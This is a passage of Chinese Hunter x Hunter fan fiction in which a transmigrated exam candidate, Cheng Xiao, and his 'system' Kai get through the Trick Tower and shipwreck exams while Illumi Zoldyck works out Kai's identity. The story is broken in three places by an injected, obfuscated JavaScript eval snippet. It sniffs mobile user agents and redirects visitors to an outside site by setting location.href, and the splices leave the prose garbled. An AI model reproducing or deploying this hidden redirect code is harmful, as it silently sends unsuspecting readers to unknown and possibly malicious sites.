……一个关于‘以某种形式继续存活’的愿望? 这个念头让伊尔迷周身的气息变得更加冰冷而死寂。如果这个推测成立,那么很多无法解释的细节似乎都有了答案,但同时,也意味着一个他亲手“处理”掉的、本该彻底消失的资产,可能以某种他无法预料的方式,脱离了揍敌客的掌控。 他的目光再次投向远处那个睡得毫无形象的程笑,漆黑的眼底深处,第一次不再是纯粹的否定和漠然,而是染上了一丝极其隐晦的、冰冷的探究。 飞艇上或许发生了一些类似于原著中的小插曲,但这一切都与程笑无关。他直接睡了个天昏地暗,不省人事。 对于宿主这种史无前例的安分守己,系统感到了极大的欣慰,甚至主动维持着身体的深度睡眠状态,没有进行任何不必要的活动或探查。 远处阴影中,伊尔迷的视线偶尔扫过程笑毫无防备的睡颜。 …如此毫无戒备的沉睡,与‘他’任何时候都保持最低限度警惕的习惯完全不符。 …但‘许愿’的结果充满未知,人格覆盖或融合并非不可能… …依旧无法完全排除寄生或存在某种联系的可能性。 …需要进一步观察。 第三场考试的场地很快抵达。当众人登上那座阴森诡异的贱阱塔顶部,听着理伯讲述那残酷的规则(72小时抵达地面,否则淘汰)并开始各显神通寻找入口时—— 程笑打了个大大的哈欠,揉了揉睡得有些发懵的眼睛,似乎根本没在听规则。他左右看了看,然后非常随意地、像是在自家后院散步一样,走到塔边某块看起来平平无奇的砖石前,抬脚—— “咔嚓!” 那块砖竟然真的被他轻易踩开,露出一个黑漆漆的、似乎是向下的滑道入口! 程笑想都没想,非常自然地就顺着那洞口滑了下去,身影瞬间消失在了黑暗中,只留下洞口那块砖缓缓合上的轻微声响。 塔顶的众考生:“…………” 经历了前两场考试,尤其是这家伙之前跳崖抢蛋的壮举后,大家对此似乎已经有点见怪不怪了。 某个路人甲考生叹了口气:“……又是他。” 另一个路人乙考生耸耸肩:“……算了,习惯了。” 而刚刚讲解完规则的理伯(通过监控看到这一幕):“???”这入口我明明伪装得很好啊?! 系统在程笑滑下去的瞬间才完全清醒,只来得及在意识里留下一串乱码:“……?!” 程笑顺着那条异常光滑的通道一路向下,在绝对的黑暗中滑行了漫长的一分钟,最终“噗”地一声,落在了一张极具弹性、微微下陷的柔软大网中央。 四周是伸手不见五指的浓黑,只有头顶极高处那个入口透下的一丝微光,也在他落地后几秒内悄然消失——入口无声地闭合了。 “喂喂…这黑得也太离谱了!”程笑小声抱怨,下意识在脑中呼喊:“系统!江湖救急!夜视功能有没有?最不济来个手电筒模式?” 系统冰冷的声音立刻响起,带着一丝微不可查的疲惫: “……未有此功能。建议:一、依靠触觉与听觉缓慢移动。二、静待视觉适应低光环境。三、高声呼救,测试是否有考官乐于提供照明服务,尽管概率低于0.73%。” 程笑:“……” 行,算你狠。 他只能小心翼翼地向前摸索。刚迈出第三步,脚下触感骤然消失! “呜哇——!” 一声惊呼卡在喉咙里,他整个人已被一股大力拽得倒悬而起,一只脚踝被冰冷的金属箍死死锁住。几乎同时,黑暗中“咔哒”声连成一片,十几对幽绿得令人心悸的、拳头大小的光点自墙壁四周亮起,伴随着令人牙酸的金属摩擦声,从四面八方缓缓逼近。 ———贱阱塔监控室内——— 巨大的监控屏墙分割出无数画面,空气中弥漫着电子设备低沉的嗡鸣。主考官理伯舒适地靠在椅背上,旁边坐着几位副考官,其中包括一位戴着耳机、负责详细记录和分析考生表现的女考官格拉多尔。 理伯的目光饶有兴味地锁定着几个屏幕,其中就有程笑。“会长特意提过的小子……哦?掉进【收藏家的巢穴】了?” 格拉多尔立刻调出该区域的资料,语速飞快地汇报:“目标触发B-7区:收藏家的巢穴 陷阱:地面大面积覆盖着极其逼真的拟态薄膜,其下是深坑。触发的瞬间,精密的机械锁会瞬间箍住踩入者的脚踝,将其倒吊。 危机:隐藏于墙内的自律型机械收集者被激活。它们并非以杀戮为目的,但其带有精密传感探头的机械臂会试图剥离、收缴“猎物”身上一切被认为有价值的物品(武器、金属饰品、特殊材质衣物),并用高强度合成纤维将猎物层层包裹,如同标本般悬挂收藏。 淘汰方式:失去所有装备或超时 破局关键:极致静默。机械单位通过猎物的震动(挣扎、喊叫)和热能变化来判断“价值”和处理顺序。保持绝对静止,模拟无生命状态超过75秒,它们会判定为“无用杂物”并解除禁锢,退回待机状态。 考验内容:危机下的极致冷静与控制力。” 理伯翻到手册某一页,看着屏幕上被倒吊起来的程笑,“让我看看你的反应……嗯?居然瞬间完全静止了?连体温和呼吸频率都骤降?!这控制力……有点意思。” ——————考试中———— 程笑的心脏狂跳,但系统已瞬间全面接管。所有肌肉纤维被强制锁定,呼吸心跳被压至最低生理极限,体温微微下降,整个人如同彻底凝固的雕塑悬于黑暗中。 冰冷的机械臂带着细微的嗡鸣声在他周身扫描、试探,甚至轻轻刮擦过他的衣角,但终因检测不到足够的“活性”与“价值”而退去。幽绿的光点逐一熄灭,脚踝上的金属箍“咔”地松开。他轻盈落地,无声地呼出一口系统刚刚返还给他的空气。 “妈的……吓死我了……”程笑刚在意识里喘上口气。 “咔嚓——!” 脚下另一块地砖毫无征兆地向下翻转! 他坠入了一个绝对隔音的圆形小石室。面前三条完全一致的通道入口上方,刻着三句浮夸的标语: 左:【黄金之海,永生财富】 中:【平安之路,直达终点】 右:【勇者之径,唯快不破】 “选择题!”程笑来了精神,“系统!左边有钱!” 系统:“……分析完毕。三条通道危险系数均超过阈值。建议:上方。” 程笑一抬头,凭借系统增强的视觉,果然捕捉到了顶部的异常。 “……靠!玩文字游戏!” 在系统操控下,他腿部肌肉瞬间爆发出惊人力量,一跃而起,精准地推开顶部的活动石板,攀爬了上去。 ——————监控室————— 手册翻页。 “【三言蛊心】。经典的心理陷阱。”理伯看着程笑掉进密室,听着他在那里嚷嚷“左边有钱!”,忍不住嗤笑一声,但随即,他看到屏幕里的程笑头颅猛地以一个异常精准的角度抬起,视线毫无迷茫地瞬间锁定顶部缝隙,紧接着腿部肌肉以一种超越常理的协调性猛然发力,一跃而起,推开石板的动作流畅而高效,与之前咋咋呼呼的样子判若两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526540|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 监控室内:格拉多尔的声音再次响起:“目标进入C-4区【三言蛊心】,三条通道均为致命陷阱(强酸、窒息、碾压)。 破局关键:必须无视语言蛊惑,发现顶部唯一生路,需要极佳观察力与爆发力。 考研内容:对语言蛊惑的免疫力和绝境中不忘观察的本能。” 另一位男性副考官摸着下巴感叹:“从嚷嚷着‘左边有钱’到瞬间找到正确出口……这思维切换速度也太诡异了。” —————考试中—————— 新的通道空气甜腻得发齁,吸入一口便让人头晕目眩,通道尽头一扇华丽的大门散发着诱人的光晕,门上写着:休息室:食物、清水、软床。 程笑吸了一口,眼前立刻浮现出堆成山的游戏机和无限续杯的肥宅快乐水,嘴角咧开傻笑。 —————监控室————— 手册再翻。 “【忘忧花廊】。看你能撑几秒……”理伯看着程笑吸入孢子,脸上露出傻笑,觉得果然如此。然而,那傻笑仅仅持续了一秒!程笑的脸色猛地一肃,所有表情瞬间消失,眼神变得空洞而专注,整个人如同上紧发条的机器般弓身、冲刺、撞击侧壁石门!一系列动作在电光石火间完成,高效得令人发指! 格拉多尔快速报告:“目标进入A-1区【忘忧花廊】。空气中弥漫强效致幻孢子,诱发深度幻觉与睡眠。 危机:在美梦中沉沦直至超时。或走向幻境中的“门”(实为绘有诱饵图案的坚固石墙)。 破局关键:极度耐力或极端速度。真正出口是侧壁一扇毫无标记、与墙面融为一体的沉重石门。需在极短时间内屏息通过,或拥有撕裂幻觉的钢铁意志。 考验内容:生理与心理的双重耐力。 他……他这根本是靠着非人的身体控制力硬闯过去了?” 理伯坐直了身体,眼中兴趣更浓:“吸入孢子后一秒内摆脱并精准找到隐藏出口……这已经不是钢铁意志了,这像是……换了个脑子。” ……… 历经数小时诸如“必须回答正确哲学问题才能通过的知识回廊”、“需要极高平衡感走过的无声刀锋之路”等更多光怪陆离的关卡后,程笑和系统终于精疲力尽地看到了塔底出口的光芒。 “光!是光!系统!我们是不是……”程笑激动得热泪盈眶。 他连滚带爬、几乎是摔出出口,张开双臂准备迎接胜利的曙光和众人惊讶的目光—— 然后,他看到空旷的终点平台上,旁边巨大的计时器,红色的数字正无情地跳向最后的:71:59:55。 “406号考生,程笑。通过第三场测试。” 程笑:“……” 系统:“……符合预期。最终效率评级:D。” 程笑瘫坐在地上,看着那巨大的计时器跳向 71:59:55,一股巨大的尴尬和“不会吧”的预感笼罩了他。 他干笑两声,在意识里试图挽回一点尊严:“……哈、哈哈。没事,系统!肯定还有比我们更慢的!说不定还在哪个坑里扑腾呢!” 系统:“……基于目前的通关效率数据及时间推算,该可能性低于2.1%。”(语气充满了毫不掩饰的怀疑) 就在这时—— “嗡——!!” 一阵急促的、类似引擎轰鸣的声响从头顶的塔内通道由远及近急速传来!声音越来越大,还夹杂着少年们兴奋的惊呼! 在计时器跳到 71:59:59 的最后一刹那! 一群身影踩着滑板,以近乎疯狂的速度从某个漆黑的出口通道里冲了出来!滑板与地面摩擦发出刺耳的噪音,带着一连串火花,最后险之又险地停在边缘,差点冲下平台。 滑板上的小杰发出一声欢呼:“成功了!!” 紧跟在他后面,奇犽、酷拉皮卡和雷欧力也以各种或狼狈或敏捷的姿势冲了出来,正好卡在最后一秒! 计时器最终定格在:72:00:00。 萨茨考官面无表情地宣布:“404号、403号、405号、402号考生,通过。” 程笑:“……” 系统:“…………………好吧。” 声音里,仿佛蕴含着无尽的人类式无语、释然、以及一丝“这世界果然不讲道理”的认命感。 小杰好奇地看向旁边瘫坐着的、生无可恋的程笑:“啊,你是比我们更早出来的吗?好厉害!” 奇犽瞥了程笑一眼,撇撇嘴:“看起来不像很厉害的样子啊……” 酷拉皮卡&雷欧力:“……”(继续礼貌性沉默) 程笑:“…………” (内心暴风哭泣:为什么!为什么我累死累活还不如人家玩滑板的帅!) 11. 不请自来的变态 第二场考试的波澜终于彻底平息,所有合格考生跟随考官登船,来到了第三场考试的场地——一座看似荒芜的军舰岛。 一对老夫妇考官站在众人面前,清了清嗓子,正准备开始详细讲解本场考试的规则和“如何合格”的具体要求。 然而,就在老考官刚说出“本次考试的内容是……”这几个字时—— 队伍中,程笑只是极不耐烦地瞥了一眼那无边无际的大海,仿佛下定了某种决心。 “扑通——!” 一声巨大的落水声打断了考官的话。 在所有考生和考官惊愕的目光中,程笑竟然连一秒钟的犹豫都没有,直接一个猛子,以近乎英勇就义般的姿态,干脆利落地扎进了冰冷的海水里,溅起老高的水花,然后瞬间被海浪吞没,只剩下几个气泡咕噜咕噜地冒上来。 老考官夫妇:“???” 两位老人显然主持过不少届考试,但还是头一回见到这种连规则都不听就直接往海里跳的选手,一时间愣在原地,张着嘴,后面的话全卡在了喉咙里。 周围的考生们在一瞬间的寂静后,纷纷露出了然甚至有些麻木的表情。 某考生A:“……又是他。” 某考生B:“……算了,习惯了。” 某考生C:(扶额)“这次又是什么新花样……” 甚至没有人表现出太大的惊讶,仿佛程笑做出任何出格举动都是理所当然的。 而在冰冷的海水里,程笑猛地呛了一口水,瞬间清醒了不少,开始在意识里疯狂呼叫: “系系系……系统!救命!这水怎么这么冷?!接下来该怎么游?!规则是啥来着?!” 系统:“……信息不足,无法判断。建议宿主立刻返回岸边听取规则。” 程笑:“……我现在回去还来得及吗?会不会很丢人?” 系统:“……对比您入水时的姿态,我认为‘丢人’已不是当前需优先考虑的问题。生存优先。” 在“社死”的巨大威胁下,程笑的大脑终于从一片混乱中扒拉出了关于这场考试的关键信息。 “哦!对对对!”他一拍脑袋(结果在水里差点把自己拍沉),“想起来了!这场是先潜下去捞那些沉船里的宝贝,然后拿宝贝回岛上跟那对老夫妇换到房间睡觉!” 此时,岸边的考生们也已经听完了完整的规则,开始纷纷跃入海中,如同下饺子般四散开来,朝着海底的沉船遗迹潜去。 程笑见状,一股“不能落后”的争强好胜心(虽然毫无必要)瞬间涌起。 “看我的!”他大喊一声,深吸一口气(吸得太急差点呛到),再次一个猛子扎进了海里,试图跟上大部队。 然而,理想很丰满,现实很骨感。 海底的水压、昏暗的光线、以及需要长时间闭气寻找物品的难度,远远超出了他这个半吊子的能力范围。 第N次,他因为估错上浮时间,或者被突然游过的鱼吓到,又或者是纯粹憋不住气了,猛地张开嘴,腥咸苦涩的海水瞬间灌入鼻腔和喉咙,呛得他眼前发黑,四肢胡乱扑腾,拼命想要挣扎回水面。 就在他感觉自己快要成为本届第一个在考试里淹死的考生时—— 一股冰凉的感觉瞬间席卷全身,所有失控的挣扎动作戛然而止。 系统无可奈何地接管了这具快要溺水的身躯。 它操控着身体停止了下意识的慌乱扑腾,以最节省能量的方式,协调四肢,平稳而高效地浮出了水面。 “咳!咳咳咳——!”重新接触到空气,程笑立刻夺回了部分控制权,趴在系统不知从哪里找来的一块漂浮木板上,狼狈不堪地剧烈咳嗽着,眼泪都快咳出来了。 “咳…呸!系、系统!”程笑在意识里刚找回点神智,立刻兴奋地嚷嚷,仿佛刚才快溺死的不是自己:“别停啊!继续往下!你看他们潜得多深!说不定宝贝都在下面!咱们也得……咕噜噜……”他又兴冲冲地试图下潜,结果被系统强行拉了回来。 系统操控着身体,无视了宿主的疯言疯语,冰冷的声音带着一丝不容置疑的果断: “………终止你这种等同于自杀的无效下潜行为。” “………扫描显示,你的心肺功能和肌肉强度无法支撑深海搜寻………检测到11点钟方向,距离75米处,有一艘半浮于海面的沉船残骸。桅杆和上层结构暴露在外,易于攀爬。” 一个清晰的坐标和沉船轮廓被直接投射在程笑的视觉界面上。 “………建议:立刻前往该沉船。即便内部已被搜寻过,其暴露的结构也是绝佳的休息点和跳帮作战平台,符合你‘寻找乐子’及‘节省体力’的双重需求。” 系统甚至学会了用程笑的逻辑来说服他 程笑看着那艘歪斜着、一半露出海面仿佛在向他招手的破船,眼睛唰地亮了:“哦豁!空中楼阁!这个好!说不定上面还有没被发现的宝藏,或者能埋伏哪个倒霉蛋抢现成的!系统你太懂我了!” 系统:“………只是基于现状的最高效解决方案。请立刻行动,你漂浮在原地的样子很像一种叫做‘海獭’的生物,且同样毫无效率。” ———沉船残骸内部——— “系统。”程笑在一条狭窄的沉船走廊里摸索了半天,扒拉着那些早已被搜刮一空的腐朽木箱,语气越来越沮丧,“啥也没有啊!这破地方早就被人搬空了吧?连个铜板都不剩!” 他不甘心地游到一处断裂带,眼前是沉船折断后留下的狰狞截面,更深更幽暗的船体部分向下延伸,隐没在昏暗的海水中。 “诶~!”程笑突然眼前一亮,像是发现了新大陆,“这断在下面的半截肯定没人搜过!好东西一定都在下面!” 但看着那幽深、结构复杂且显然缺乏氧气的危险区域,他犯了难:“……就是这地方太刁钻了,不好下去啊……” 他东张西望,目光最终锁定在头顶上方一根粗壮但同样布满腐蚀痕迹的船梁上。一个“绝妙”的主意瞬间诞生。 “嘶……”他打量着那根船梁,又估算了一下自己的核心和腿部力量,一种莫名的自信(错觉)涌上心头,“我觉得……我能行!” 说干就干。他奋力向上游,用尽腰腹力量猛地向上一蹿,试图用小腿勾住那根横梁。 第一次,滑脱了。第二次,勉强搭上了,但摇摇欲坠。第三次,他终于成功地用小腿后侧勾住了横梁,整个人像只笨拙的蝙蝠一样倒挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526541|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 “嘿……嘿……成功了……”他得意地喘着气,开始试图依靠腰腹力量摆动身体,想要借此探入下方的断裂区。 然而,倒挂姿势对核心和腿部力量的要求极高。仅仅几秒钟,他那缺乏锻炼的小腿肌肉就开始剧烈颤抖、发酸,力量迅速流失。 “不、不好……勾不住了!”他心里猛地一慌,勾住横梁的小腿因为力竭而猛地一松! 整个人瞬间失重,头下脚上地朝着下方布满尖锐断裂木材和锈蚀金属的船体残骸坠去! “!!!” 死亡的阴影瞬间笼罩而下! 就在这千钧一发的空白期,系统反应极其迅速地强制接管了身体! 下坠的身体在空中猛地做了一个极其违反常理的卷腹扭转,硬生生改变了头下脚上的致命姿态,同时双手闪电般伸出,“啪”地一声死死抓住了断裂带边缘一块相对坚固的木板,整个身体险之又险地悬吊在了深渊之上,脚下几厘米处就是狰狞的金属尖刺。 程笑吓得魂飞魄散,在意识里连尖叫都发不出来了。 系统操控着手臂肌肉,冷静地将身体缓缓拉上安全区域,然后才在意识里发出冰冷的警告: “……再次重复:建议宿主放弃任何需要高超体能和风险评估能力的自主行动。” “……您的‘觉得能行’与实际情况存在致命偏差。” 程笑:“……” (彻底老实了。) 在系统精准的控制下,身体重新以稳固的姿势倒悬于船梁之上,如同一个冷静的勘探者,系统地扫描着下方昏暗的断裂层。 可见光极其有限,但它敏锐地捕捉到一丝极其微弱的、不同于周围环境的规则折光。 操控着手臂精准地探向光源所在,指尖触碰到了一件硬物。拨开覆盖其上的淤泥和海藻,一枚镶嵌着硕大红宝石的戒指显露出来,戒圈还套在一截早已乌黑、与腐朽船木几乎融为一体的指骨上。 “感谢。”系统操控着声带,以一种平静无波、近乎仪式性的语调,对着那具无名遗骸简洁地表达了获取物品的感激之情。随后,它利落地取下了那枚戒指。 正当它准备操控身体松开船梁,上浮离开这处幽闭空间时—— 呼—— 极其轻微的、几乎被水流声掩盖的触感从头顶正上方传来。 系统瞬间锁定感知来源,操控着倒悬的身体,以一种略显僵硬的姿态,缓缓向上“望”去。 就在他刚才悬吊的那根粗壮船梁之上,更高一层的断裂平台边缘,一个身影正静静地、如同鬼魅般矗立在那里。 伊尔迷·揍敌客。 他仿佛已经站在那里很久,又像是刚刚无声无息地出现。冰冷的海水似乎无法扰动他分毫,黑色的眼眸如同两个深不见底的漩涡,正无声地、自上而下地凝视着下方倒挂着的“程笑”。那目光里没有任何情绪,只有纯粹的、令人窒息的观察。 通过共享的感官,程笑瞬间感觉到了系统操控下的身体那微不可查的一顿,以及为了应对极端状况而瞬间提升的警觉状态所带来的、近乎呼吸停滞的压迫感。 ……我……靠……! 程笑的意识在极度震惊中几乎冻结。 12. 见鬼的误解 时机太巧了。 系统的思绪飞速运转,冰冷的逻辑瞬间得出了最危险的评估。 正好卡在我无法轻易脱身的状态——一旦松腿,下方是尖刺,上方平台则被他完全占据,无处可借力。 他一直潜伏在附近观察?从什么时候开始? 伊尔迷·揍敌客如同读取到了那无声的思绪流,漆黑猫眼在昏暗中精准锁定下方。他没有动作,只是微微歪头,像是在确认某种极其细微的差异——或许是那超出这具身体原有素质的、过于精准的肌肉控制力。 随即,他做出了判断。他直接蹲了下来,这个动作让他那没有表情的脸庞更贴近了倒悬着的“程笑”,居高临下地凝视着深处,语气平淡却带着一种令人毛骨悚然的笃定: “你终于肯出来了。” 这句话不是疑问,而是陈述。 伊尔迷微微眯起眼,目光仿佛能穿透皮囊,直抵内部那个挣扎的意识,吐出了那个名字: “凯。” “……” 被直接点名的系统——或者说,藏于其深处的那个名为“凯”的意识——核心仿佛遭遇了最强的逻辑冲击。 他肯定了?基于什么?还是……仅仅是更进一步的试探? 无数种应对方案在瞬间生成又被否决。承认?否认?每一种选择都导向无法预测的危险深渊。 “程笑”的脸上没有任何情绪波动,甚至连瞳孔都没有收缩一下,只是维持着那副倒挂的、略显僵硬的姿态,沉默地回望着伊尔迷,仿佛对方只是在叫一个与自己毫无关系的名字。 伊尔迷蹲在平台上,如同观察着玻璃箱中的标本,耐心地等待着。那沉默本身,似乎也是一种答案。 那死寂的、非人的平静,反而像是最终确认了伊尔迷的猜想。他蹲在平台上,漆黑的眼睛在昏暗中微微闪烁,一种近乎“果然如此”的情绪在那非人的眼底一闪而过。 “…真的没死啊。”他的语气里听不出喜怒,更像是在确认一个有点麻烦但已预料到的事实。 “那个疯子虽然吵闹,但肢体语言不是这样的。你控制得太好了,好得过分了。” 他歪着头,用那双能洞察欲望和弱点的眼睛看着下方,开始了分析。但这分析不是冷冰冰的数据比对,而是基于对人类行为的深刻理解,却得出了完全功利的结论: “躲了这么久,是害怕吗?”他问,但并不是真的关心情绪,“害怕被我带回去?” 然后,他没等回答,仿佛自言自语般给出了解决方案,语气里甚至带着一种扭曲的“体贴”: “不用怕。虽然你做了错事(指逃跑),但你现在回来,我可以不计较。” “你看,你待在这种劣质的身体里,连自保都做不到。跟我回去,家里有更好的‘容器’。” “至于这个吵闹的意识,”他轻描淡写地补充道,就像在说处理一件旧衣服,“如果你不喜欢,让他消失掉也可以。很简单。” 在他的世界观里,这已经是充分考虑对方“感受”(恐惧、对现状不满)后,所能给出的最“优厚”且“周到”的条件了。 系统(或者说,凯)的核心逻辑遭遇了前所未有的冲击。伊尔迷的每一句话都像一把精准的钥匙,撬动着他试图严密封锁的过去和现在。他陷入了一个无解的悖论:任何基于理性或习惯的回应,都可能成为对方确认他身份的进一步证据。 当对方对你的了解达到某种程度后…沉默是证明,反驳是证明,甚至失控…也是证明。 更何况,伊尔迷的每一句话都精准地踩在“人类”会在意的问题上(恐惧、归宿、对现状的不满),但其给出的解决方案却如此非人。任何基于理性的回应,都会暴露。 …他正在用人类的逻辑陷阱,捕捉一个试图隐藏的灵魂。 就在这致命的僵局中,程笑在意识海里支招:他在跟你谈条件!别被他带跑偏!胡扯!用魔法打败魔法! 凯意识到,任何符合逻辑的应对都会落入下风。……只能执行高风险策略。 “……可以。” 凯冰冷地回应,决定将这作为最后的战术尝试。 于是,在伊尔迷那双漆黑猫眼的凝视下,下方倒挂着的“身体”依旧由凯绝对控制着每一块肌肉,但接下来的表演却完全出自程笑的剧本。 只见“他”的脸上依旧没什么大幅度的表情(凯不擅长这个),但语气却用一种平板无波、毫无灵魂的棒读腔,复述着程笑在脑子里的叫喊: “嗨~哥们。你说啥呢。什么凯不凯的。认错人了吧。我就是下来捞点宝贝的。你看这鬼地方黑的。你要是也跟我一样倒霉。转了半天屁都没找到。喏——” “他”说着,机械地举起那只刚刚从枯骨上扒下来的、还沾着点海底污渍的红宝石戒指,朝着伊尔迷晃了晃,动作略显僵硬。 “我分你一点。见面分一半嘛。咱得饶人处且饶人。以和为贵。以和为贵行不。” 伊尔迷:“…………” 这内容与形式的极度割裂,让伊尔迷顿了一下。他那总是能看穿谎言和欲望的眼睛里,第一次出现了类似于“这不在剧本内”的细微困惑。这不是数据错误,而是像看到一个精心设计的机械钟表里,突然跳出了一只吱吱叫的橡胶小鸡。 随即,一种非常非常淡的、近乎虚无的兴趣,取代了那丝困惑。 ……试图用毫无意义的噪音来干扰判断? ……这种策略,很低级。但由“你”用这种方式表现出来…… 他觉得……有点意思了。不是愉悦,而是像科学家发现了一种新的、行为模式很蠢但成因不明的生物。 于是,他的喉咙深处发出了一声极其短促的、仿佛是系统故障般的、压缩到极致的气流音——“呵”。 那可能是一个被这荒谬至极的景象冲击到的、近乎失笑的声音。 而在意识深处,主导着这番诡异表演的“凯”,只感觉到一种久违的、几乎快要遗忘的、名为羞耻的情绪,不受控制地弥漫了上来,仿佛要透过绝对的控制,让这具身体的脸颊开始发烫。 伊尔迷·揍敌客那总是如同精密仪器般运行的大脑,罕见地捕捉到一丝……愉悦? 这感觉很难形容。如果非要比喻,就像是一直以来对你冷若冰霜、惜字如金、连眼神都懒得给你的冰山美人,突然被迫在闹市街头、用毫无感情的棒读腔吆喝着“烤肠五块钱一根”一样。 那种极端反差带来的荒谬感,以及目睹对方被迫放下所有格调、甚至隐隐透出羞耻却无法逃脱的境地…… ……着实令人新奇。 ……并且,有点发笑。 在他的漫长记忆里,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在这令人绝望的尴尬僵持时刻,一束明亮的手电筒光突然从侧面一道裂缝中打了进来,精准地照亮了这诡异的一幕:一个倒挂着的少年,正举着一枚戒指,对着上方一个脸色苍白、插满钉子的怪人。 紧接着,一个光溜溜的脑袋探了进来,是考生武藏。他显然目睹了全过程,并且凭借他有限的想象力得出了一个离谱至极的结论。他瞪大了眼睛,嘴巴张成O型,指着那枚戒指,结结巴巴地惊呼: “啊?你、你们??你这是在……向这个钉子怪人求婚吗?!” 伊尔迷和凯(操控着身体)同时因为这突如其来的打扰和更加突如其来的离谱解读而齐齐愣了一下。 伊尔迷瞬间利用了这场合。不过他并没有采纳这个剧本,而是用一种让凯更加心寒的方式——他非常自然地、仿佛理所当然地,对着武藏,用平淡的语调坐实了最糟糕的误会: “不。” 他漆黑的眼睛扫过武藏,让对方如坠冰窟。“我们在处理家事。他是我的。” “我的”这两个字,被他用毫无波澜的语调说出来,带着一种不容置疑的、如同宣告物品所有权般的绝对占有欲。 武藏考生则露出一副“果然如此!而且你的品味真是独特得惊天动地!”的表情,满脸尴尬和震撼,连连摆手:“不、不好意思!打扰了!你们继续!祝、祝你们幸福!” 说完,他像是见了鬼一样,手忙脚乱地想缩回头,结果因为太慌乱,脑袋“咚”一声撞在上方的钢梁上,痛呼一声,连滚带爬地消失在了黑暗中。 黑暗重临。 伊尔迷的目光重新锁死“程笑”,那目光平静却比任何威胁都可怕,仿佛在说:看,外人都知道你是我的。玩够了,就该回家了。 凯的意识里,只剩下冰冷的决绝:…必须逃离。不惜一切。 13. 和世界链接的第一步,知道什么是真实 伊尔迷那句“他是我的”带着冰冷的占有欲,如同实质的锁链缠绕上来。 凯没有任何回应,他操控着身体,利用伊尔迷话音落下的那一瞬迟疑,腿部肌肉爆发出精准而克制的力量,不是攻击,而是猛地蹬向本就腐朽的船梁! 那根本就腐朽的船梁顿时发出了令人牙酸的“嘎吱——” 呻吟声,仿佛下一秒就要彻底断裂! 伊尔迷的注意力果然被这突如其来的声响和船梁的震动所吸引,他抬起那双漆黑的猫眼,看向上方发出哀鸣的受力点,语气里甚至带着一丝愈发浓郁的、看戏般的愉悦: “需要我帮你吗?看起来——”他慢条斯理地评价道,“——它好像支撑不了……” 就是现在! 趁着他的视线本能地向上偏移了零点几秒,凯操控身体瞬间做出了反应!一个极其迅捷而标准的卷腹收身,同时足尖在即将断裂的船梁上最后借力一点,整个人如同脱离弹射器般,精准而轻盈地翻上了伊尔迷所在的上一层平台! 动作干净利落,没有丝毫多余。 伊尔迷的话音甚至还没完全落下,就发现下方已经空了。他缓缓低下头,看着已经稳稳落在平台上、正下意识与他拉开距离的“程笑”。 “啧……可惜了。我还挺……‘喜欢’那枚戒指的呢~”他故意拖长了语调,仿佛在单纯的惋惜那份本应到手的资产。 系统(凯):“…………” 没有任何回应。甚至没有试图去分辨伊尔迷话中的深意。系统操控着身体,毫不犹豫地转身,用一种近乎逃离现场的、却又强行保持着镇定步伐的速度,快步朝着平台另一端通往其他区域的通道走去。 每一个指令都在尖叫着同一个意思:离开。立刻。马上。远离这个是非之地! 伊尔迷并没有追击。他缓缓站直身体,看着那个几乎是落荒而逃的背影消失的方向,脸上没有任何被戏弄的恼怒,反而那双漆黑的猫眼里,玩味的神色如同深潭中的暗流,缓缓涌动。他轻轻歪了下头,仿佛在重新评估这件“失而复得的资产”当前的有趣状态。 —————— 程笑用那枚浸透了社死记忆的红宝石戒指,,成功地从老夫妇考官那里换到了一把锈迹斑斑的黄铜钥匙,以及一个对应的床铺号。 他几乎是摔进那张硬板床的,身体接触硬木板带来的轻微痛感,此刻却异常清晰。他没有立刻说话,只是睁大眼睛望着天花板上斑驳的霉点,胸膛里是一种前所未有的、近乎真空般的寂静。 一直以来,支撑着他在这个世界疯狂起舞的根基,不是勇气,而是疏离。 他从未真正相信过这里。有“系统”存在的世界,能真实到哪里去?这更像是一场高度沉浸式的、无法退出的虚拟现实游戏。他所遭遇的一切,都是逼真的剧情和NPC;他所承受的伤痛,是游戏的体感反馈;而“系统”,就是游戏内置的、帮助他通关的辅助程序。 他将整个世界的重量,都轻飘飘地架设在这个虚无的预设之上。 所以他可以肆无忌惮。死亡是游戏结束(或许还能读档),冒险是探索地图,与人交往是触发剧情。他把自己活成了一个清醒的梦游者,一个沉浸在自我剧本里的演员,认为周遭一切都是布景,只有他手中的“烟花”是唯一的真实。 现在,布景被撕开了一道口子。 “系统……”他轻声开口,声音沙哑,“不……凯。” 这个名字像一把钥匙,插进了他认知世界的锁孔,然后,猛地转动。 如果系统不是程序,而是一个真实存在的、有过去、有意识的人…… 那这个世界呢? 伊尔迷不是NPC,他是真实拥有可怕意志的杀手。西索不是剧情BOSS,他是真正以杀戮为乐的变态。眼前的床铺、空气中的霉味、指尖触碰木头的感觉……这一切都不是数据模拟,而是物理法则下真实不虚的存在。 他一直赖以生存的“虚假感”和“游戏感”,在这一刻轰然倒塌。那层将他与世界隔开的、提供安全距离的滤镜,碎了。 他从未如此赤裸地、毫无缓冲地,直面这个世界的真实性。 而更让他浑身发冷的是…… “那我……我之前做的所有事……”他喃喃自语,一股寒意从脊椎窜上头顶。 